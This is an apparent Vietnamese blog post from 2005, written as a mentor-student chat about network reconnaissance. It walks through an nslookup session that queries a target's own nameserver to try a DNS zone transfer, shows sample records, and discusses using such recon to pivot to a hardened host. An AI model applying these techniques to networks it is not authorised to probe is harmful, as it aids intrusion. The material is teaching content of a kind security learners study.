Cách này query dùng default DNS server chính là DNS server nào em khai báo trên máy dùng để phân giải tên miền. DNS server này có thể là DNS riêng do em tạo ra hoặc DNS server do ISP cung cấp. Ở dạng đó, những điều được query cũng chỉ là những thông tin dành cho công cộng mà thôi (cái này còn tùy thuộc vào sự chặt chẽ của người thiết kế DNS, có những DNS chứa cả thông tin dàng cho công cộng lẫn thông tin dành riêng cho nội mạng và đây là điều nên tránh). Tuy nhiên, nếu em 'chịu khó' hơn một tí, thử như sau:
C:\> nslookup
> set type=ns
> domain.com
Server: [172.16.114.163]
Address: 172.16.114.163
domain.com nameserver = ns1.domain.com
domain.com nameserver = ns2.domain.com
ns1.domain.com internet address = 172.16.114.163
ns2.domain.com internet address = 172.17.124.174
> server ns1.domain.com
> ls -d domain.com
[[172.16.114.163]]
domain.com. SOA ns1.domain.com hostmaster.domain.com. (1098357511 16384 2048 1048576 2560)
domain.com. NS ns1.domain.com
domain.com. NS ns2.domain.com
domain.com. MX 0 mail.domain.com
www A 172.16.114.160
white A 172.16.114.161
mail A 172.16.114.162
ns1 A 172.16.114.163
ns2 A 172.17.124.174
domain.com. A 172.16.114.160
blue A 172.16.114.163
red A 172.17.124.174
domain.com. TXT "v=spf1 a mx ptr -all"
mail TXT "v=spf1 a -all"
domain.com. SOA ns1.domain.com hostmaster.domain.com. (1098357511 16384 2048 1048576 2560)
Có gì đặc biệt ở đây vậy em?"
'docco' ngần ngừ:
"Ùm... à.... hình như anh cố tình dùng chính DNS của chính mục tiêu để query phải không anh?"
Tôi đáp:
"Bravo! Đúng như thế, nó nằm ở đây:
> server ns1.domain.com
> ls -d domain.com
.
Em biết lý do tại sao không? Ngày nay, hầu hết các authoritative DNS đều không cho 'zone transfer' một cách rộng rãi nữa vì quá nguy hại. Tuy nhiên, vẫn có các DNS server cho phép những DNS server được 'tin cậy' thực hiện 'zone transfer'. Bởi thế, mình mới 'láu cá' bằng cách mượn tay DNS server được 'tin cậy' để query thông tin cho mình . Nên nhớ là có những DNS server (primary và secondary) hiện nay không còn cho phép thực hiện bước ở trên nữa vì họ không cho 'zone transfer' ngay cả giữa primary và secondary."
'cuti' thắc mắc:
"Query DNS có gì mà quan trọng đến thế hở anh? Nãy giờ em ráng theo dõi nhưng bắt đầu bị ù ù cạc cạc rồi đó. Có nhiều thông tin hoàn toàn mới mẻ đối với em cho nên tóm gọn lại, em không rõ tại sao phải thu thập những thông tin này và để có thể thu thập thông tin thì phải nắm bao nhiêu là kiến thức "
'ccxx' xen vào:
"Trong khi anh nói, em cũng thử và thấy quả thật mình có thể thâu thập khá nhiều thông tin qua DNS. Có khi query được, có khi không. Hình như mình có thể xác định một cách tổng quát có bao nhiêu servers trong mô hình mạng mình muốn thăm dò. Em chưa rõ bước kế tiếp thế nào nhưng em hình dung mình sẽ làm gì đó với những thông tin thu thập được. Có thể dùng để phác thảo một mô hình mạng chăng?"
Tôi cười, đáp:
"Công chúa nhận xét đúng lắm. Tất nhiên là mọi thông tin đều cần thiết cả, nếu không mình mất thời gian với chúng làm gì? Để hình thành mô hình mạng của mục tiêu mình muốn thăm dò, việc thăm dò DNS chỉ cung cấp một phần thông tin mà thôi. Em cần phải kết hợp với một số thông tin khác nữa. Cái này mình sẽ bàn sau. Anh lấy ví dụ đơn giản thế này nha. Giả sử em muốn tấn công một host X nhưng host này 'thủ' chặt quá. Thông thường thì em bó tay và bỏ cuộc. Tuy nhiên, nếu em thăm dò rộng ra (bằng cách hình thành mô hình mạng) thì thấy rằng host X nằm trong một nhóm host khác và một vài host ấy có thể thâm nhập được. Nếu thâm nhập được một trong các host này thì cơ hội 'nhảy' sang host X thành công cao hơn.
Cho dù em không thể thâm nhập bất cứ host nào đi chăng nữa nhưng qua thông tin dò xét và thu thập được trong quá trình recconnaissance, em có thể đi đến kết luận là nên tiếp tục hay nên bỏ cuộc (để đỡ tốn thời gian). Nếu thấy mô hình mạng chặt chẽ quá, thấy có firewall vững vàng, cách tốt nhất là bỏ cuộc để đỡ mất thời gian. Thật ra, nếu đã thông thạo thì việc dò tìm thông tin xuyên qua DNS không mất quá nhiều thời gian đâu. Đây chỉ là một bước rất nhỏ trong quá trình thăm dò. Vấn đề mình bàn ở đây là để nhấn mạnh một điều quan trọng: tìm thông tin có rất nhiều cách, cách nào nhanh nhất, có thông tin cụ thể nhất thì đó là cách thích hợp nhất."
'docco' cảm thán:
"Không ngờ bên trong recconnaissance đã có những điều lý thú đến như thế. Em định hỏi thêm anh một số chi tiết về kết quả lấy được ở trên nhưng chợt nhớ ask me why, don't ask me what nên em đã ghi chú một loạt thông tin mà em cần phải tìm hiểu chi tiết sau. Cũng như Hưng, em bắt đầu thấy lùng bùng rồi đó anh. Như anh nói, vậy là recconnaissance cũng sẽ dính với chuyện dò dẫm cả firewall luôn sao anh? và đối với người phòng thủ thì nên làm thế nào? Về việc anh đề cập tới host X ở trên, hình như anh muốn nói đến khía cạnh kiện toàn bảo mật?"
Tôi trả lời:
"Chuyện dò dẫm firewall là chuyện không thể thiếu nếu như firewall nằm trên đường thâm nhập rồi đó em. Thong thả rồi mình sẽ bàn các chi tiết này sau, không thì em càng lùng bùng nữa. Chuyện phòng thủ thì mình cũng sẽ bàn sau khi em đã 'thông' những chi tiết mình vừa 'đà khía'. Nên nhớ rằng, 'thủ' ở đây là thực sự phòng thủ chớ không phải là những kỹ thuật nho nhỏ dùng để dấu footprint không thôi nha. Mình sẽ đào sâu từ từ những chuyện này (nếu bọn em còn hứng thú )."
'cuti' lên tiếng ngay lập tức:
"Làm sao mà không còn hứng thú được anh? Những thông tin này là tổng hợp của bao nhiêu điều lý thú. Chắc em sẽ không bao giờ thâm nhập ai nhưng những kiến thức này chắc sẽ ích lợi trong công việc về sau. Anh đừng lo tụi em hết hứng thú "
'docco' cũng chêm thêm:
"Hay là anh .... nản thì có. Nói chuyện với bọn em cái gì anh cũng phải giải thích. Gặp em, chắc em nản từ lâu rồi."
Tôi đáp:
"Hì hì, nản hả? có gì mà nản em? Thỉnh thoảng vào 'đà khía' thế này vui mà. Thôi, anh phải logoff đây. Ngồi dính một chỗ lâu quá rồi. Anh vẫn còn ở nhà vài ngày tới, trưa trưa anh sẽ vào check mail mỗi ngày, đứa nào muốn 'đà khía' thì offline message cho anh một cái ha."
'ccxx' cười, pha trò:
"Í cha, anh già rút... đẹp thiệt à nha. Ảnh rào câu áp chót, chuyển qua câu chót là bye bye liền . Mai em cũng rảnh á, em sẽ online chờ anh."
'cuti' hùa theo:
"Em cũng vậy."
'docco' thận trọng:
"Nếu không có gì đột xuất, em cũng sẽ online luôn."
Tôi đáp:
"Ừa, cũng khoảng giờ này hoặc sớm hơn vào ngày mai hả? Chào mấy đứa."
26/9/2005
<còn tiếp>
Đăng ký:
Bài đăng (Atom)